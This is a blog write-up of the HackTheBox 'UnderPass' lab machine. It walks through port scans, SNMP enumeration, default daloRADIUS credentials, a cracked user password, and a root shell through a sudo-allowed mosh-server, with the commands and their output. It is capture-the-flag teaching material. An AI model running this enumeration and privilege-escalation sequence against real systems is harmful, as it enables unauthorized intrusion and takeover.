My UnderPass Runthrough - Learnings

Cracked the UnderPass HTB box by skipping dead ends, abusing SNMP leaks, and turning mosh-server into a root shell with zero password; here is how.
My UnderPass Runthrough - Learnings

Challenge-Info

  • Name: UnderPass
  • Origin: HackTheBox
  • Difficulty: Easy
  • Timespan: 06.05.2025-08.05.2025

TL;DR

Quick Scan: Only standard ports 80 and 22, same for fuzzing (only returning 403 results that lead us nowhere); seems boring at first.
Real Win: UDP, SNMP, daloradius... and default creds, classic.
Tools Used: Nmap, SNMPWalk, ffuf, gobuster, mosh.
Rooted via: mosh-server (sudo with no password!)


Need the One-Liners?

I've collected the exact commands I used in this box into a quick-reference snippet, just hit me up via inquisition@niklas-heringer.com.


Walkthrough

Some base work got me started in enumeration:

nmap -sS --top-ports 1500 10.129.1.181
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 06:19 CDT
Nmap scan report for 10.129.1.181
Host is up (0.0079s latency).
Not shown: 1498 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.24 seconds

Gobuster Dive

gobuster dir -u http://10.129.1.181/ -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -e
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.1.181/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://10.129.1.181/.hta                 (Status: 403) [Size: 277]
http://10.129.1.181/.hta.php             (Status: 403) [Size: 277]
http://10.129.1.181/.hta.html            (Status: 403) [Size: 277]
http://10.129.1.181/.hta.txt             (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess            (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess.html       (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess.php        (Status: 403) [Size: 277]
http://10.129.1.181/.htaccess.txt        (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd            (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd.php        (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd.html       (Status: 403) [Size: 277]
http://10.129.1.181/.htpasswd.txt        (Status: 403) [Size: 277]
http://10.129.1.181/.html                (Status: 403) [Size: 277]
http://10.129.1.181/.php                 (Status: 403) [Size: 277]
http://10.129.1.181/index.html           (Status: 200) [Size: 10671]
http://10.129.1.181/index.html           (Status: 200) [Size: 10671]
http://10.129.1.181/server-status        (Status: 403) [Size: 277]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================

Nothing of interest that is not restricted.

I tried digging deeper using my own go-to resources, yet often times you'll find yourself thinking in a whole wrong direction:

FFUF → Ran a few directory fuzzing combos from my list, but hit nothing interesting.

NSE → Tried a couple of service detection and version scripts. No joy.

Searchsploit → Checked for known Apache 2.4.52 exploits, nothing applicable.

looks not that promising:

searchsploit apache 2.4.52
---------------------------------------------- ---------------------------------
 Exploit Title                                |  Path
---------------------------------------------- ---------------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Rem | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code | php/remote/29316.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of S | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2. | unix/remote/764.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' Fi | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Lis | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | multiple/remote/6229.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Tra | unix/remote/14489.c
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8 | windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial o | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local Fil | linux/remote/34.pl
---------------------------------------------- ---------------------------------
Shellcodes: No Results

Misstep

I forgot to consider scanning for UDP - beginner's mistake.
nmap -sU 10.129.245.8 --top-ports 500
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-08 02:38 CDT
Nmap scan report for 10.129.245.8
Host is up (0.037s latency).
Not shown: 496 closed udp ports (port-unreach)
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
161/udp  open          snmp
1812/udp open|filtered radius
1813/udp open|filtered radacct

Nmap done: 1 IP address (1 host up) scanned in 545.22 seconds

What is SNMP (and why should we care?)

SNMP (Simple Network Management Protocol) is a UDP-based protocol used to monitor and manage network devices like routers, servers, switches, and even printers.

  • Port 161: used for requests (e.g., enumeration via snmpwalk)
  • Port 162: used for traps (alerts from devices)
  • Works via Agents on devices, managed by a central SNMP Manager
  • Devices store data in a structured MIB (Management Information Base)

Why it matters in pentesting:

  • SNMP v1 and v2c → no encryption, often misconfigured
  • Default community string public is read-only access
  • If private works → read-write = config changes, potential RCE
  • Most admins forget to change these defaults. Bad for them, good for us.

How to test SNMP

snmpwalk -v2c -c public <target-ip>

Options

  • -v1 or -v2c → version (try both)
  • -c <community> → usually public (read) or private (write)
  • Optional: Add an OID to focus your query (like .1.3.6.1.2.1.1 for system info)

Useful OIDs to try

  • .1.3.6.1.2.1.1 → System info (hostname, uptime, etc.)
  • .1.3.6.1.2.1.4.20.1.1 → IP addresses
  • .1.3.6.1.2.1.25.4.2.1.2 → Running processes
  • .1.3.6.1.2.1.6.13.1.3 → Open TCP ports
  • .1.3.6.1.2.1.25.6.3.1.2 → Installed software

Bruteforcing SNMP (if public fails)

onesixtyone -c wordlist.txt <target-ip>

This checks a list of possible community strings; often fruitful on internal boxes.

TL;DR

  • Try snmpwalk with public; it's silent, quick, and sometimes a goldmine
  • If snmpset works with private → you're holding a remote control
  • SNMP is great for: fingerprinting, host discovery, finding users/services, and potential LPE vectors

and so i did:

snmpwalk -v2c -c public 10.129.245.8
iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (144876) 0:24:08.76
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (24) 0:00:00.24
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (25) 0:00:00.25
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (146053) 0:24:20.53
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 05 08 07 38 09 00 2B 00 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/vmlinuz-5.15.0-126-generic root=/dev/mapper/ubuntu--vg-ubuntu--lv ro net.ifnames=0 biosdevname=0
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 212
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

Key Info Leaked via SNMP

1. OS & Kernel: Linux underpass 5.15.0-126-generic → Ubuntu-based. Check for local privilege escalation (LPE) vulnerabilities for Kernel 5.15.

2. Hostname & Service: UnDerPass.htb is the only daloradius server in the basin! → Indicates a running daloradius instance (FreeRADIUS web UI), known for default creds and SQLi. → underpass.htb should be added to /etc/hosts.

3. User Identification: steve@underpass.htb → Likely username (steve) for later login attempts.

4. Location: “Nevada, U.S.A. but not Vegas” → Not security-relevant, but good for host fingerprinting.

5. System MIBs: E.g. root=/dev/mapper/ubuntu--vg-ubuntu--lv → Confirms use of LVM – useful for later enumeration or privesc.

→ Added underpass.htb to /etc/hosts and moved on to explore the web interface.

VHOST fuzzing was without results:

ffuf -u http://10.129.245.8 -H "Host: FUZZ.underpass.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 10671

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.245.8
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.underpass.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 10671
________________________________________________


#Keine Ergebnisse

What a smarter move would've been: simply reading docs

Instead of aimlessly fuzzing, I should’ve checked the daloradius documentation sooner. From the GitHub repo → github.com/lirantal/daloradius, I found the path:

/app/operators/

Which led to the login page:

http://underpass.htb/daloradius/app/operators/login.php

Default Credentials (from the docs)

Username: administrator
Password: radius

Later in the user list, I found valid creds:

User:     svcMosh
Password: underwaterfriends   (hash cracked via Crackstation)

→ Used these to log in via SSH.


💡
Always check the documentation of encountered services!

Post-User Enumeration: Looking for Root

After grabbing the user flag, I started checking typical privesc paths.

find /opt -type f -exec ls -l {} \;
svcMosh@underpass:~$ find /opt -user root
/opt


Turns out /opt was completely empty, not even breadcrumbs. Likely not the way forward.

Service Discovery with netstat

Next, I listed listening services:

netstat -anlp | grep LIST
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
unix  2      [ ACC ]     STREAM     LISTENING     57727    2002/systemd         /run/user/1002/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     57734    2002/systemd         /run/user/1002/bus
unix  2      [ ACC ]     STREAM     LISTENING     57736    2002/systemd         /run/user/1002/gnupg/S.dirmngr
unix  2      [ ACC ]     STREAM     LISTENING     57738    2002/systemd         /run/user/1002/gnupg/S.gpg-agent.browser
unix  2      [ ACC ]     STREAM     LISTENING     18122    -                    @/org/kernel/linux/storage/multipathd
unix  2      [ ACC ]     STREAM     LISTENING     57740    2002/systemd         /run/user/1002/gnupg/S.gpg-agent.extra
unix  2      [ ACC ]     STREAM     LISTENING     57742    2002/systemd         /run/user/1002/gnupg/S.gpg-agent.ssh
unix  2      [ ACC ]     STREAM     LISTENING     57744    2002/systemd         /run/user/1002/gnupg/S.gpg-agent
unix  2      [ ACC ]     STREAM     LISTENING     57746    2002/systemd         /run/user/1002/pk-debconf-socket
unix  2      [ ACC ]     STREAM     LISTENING     21651    -                    /run/systemd/resolve/io.systemd.Resolve
unix  2      [ ACC ]     STREAM     LISTENING     23174    -                    /run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     21716    -                    /run/uuidd/request
unix  2      [ ACC ]     STREAM     LISTENING     21730    -                    /var/run/vmware/guestServicePipe
unix  2      [ ACC ]     STREAM     LISTENING     25134    -                    /var/agentx/master
unix  2      [ ACC ]     STREAM     LISTENING     21813    -                    /run/irqbalance/irqbalance825.sock
unix  2      [ ACC ]     STREAM     LISTENING     25208    -                    /run/mysqld/mysqld.sock
unix  2      [ ACC ]     STREAM     LISTENING     18109    -                    /run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     18111    -                    /run/systemd/userdb/io.systemd.DynamicUser
unix  2      [ ACC ]     STREAM     LISTENING     18112    -                    /run/systemd/io.system.ManagedOOM
unix  2      [ ACC ]     STREAM     LISTENING     18120    -                    /run/lvm/lvmpolld.socket
unix  2      [ ACC ]     STREAM     LISTENING     18125    -                    /run/systemd/fsck.progress
unix  2      [ ACC ]     STREAM     LISTENING     18136    -                    /run/systemd/journal/stdout
unix  2      [ ACC ]     SEQPACKET  LISTENING     18139    -                    /run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     18939    -                    /run/systemd/journal/io.systemd.journal
unix  2      [ ACC ]     STREAM     LISTENING     21715    -                    @ISCSIADM_ABSTRACT_NAMESPACE

This showed:

3306/tcp open on 127.0.0.1: likely MySQL for daloradius; local only, not directly exploitable.

80/tcp and 22/tcp already known.

No exotic services or obvious dev ports exposed.

Why use netstat -anlp? It lists all open ports and listening services, which can hint at hidden apps or privilege escalation paths (e.g., daemons running as root, or local admin panels).

Privilege Escalation via mosh-server

Then came the breakthrough:

sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

svcMosh can run /usr/bin/mosh-server as root without a password.

What is mosh-server?

mosh-server is part of [Mosh](https://mosh.org/, a mobile-optimized SSH alternative.

It is automatically spawned by the Mosh client on connection.

Crucially: it launches a shell, and inherits the privileges of the user who runs it.

In this case: root, thanks to sudo.

More on this technique: HackingDream: Linux Privilege Escalation via mosh-server

Root Shell Command

mosh --server="sudo /usr/bin/mosh-server" localhost

This gave me a root shell and from there, the root flag.

What a nice box this was! See you guys around, stay healthy!
Subscribe to my monthly newsletter

No spam, no sharing to third party. Only you and me.

Member discussion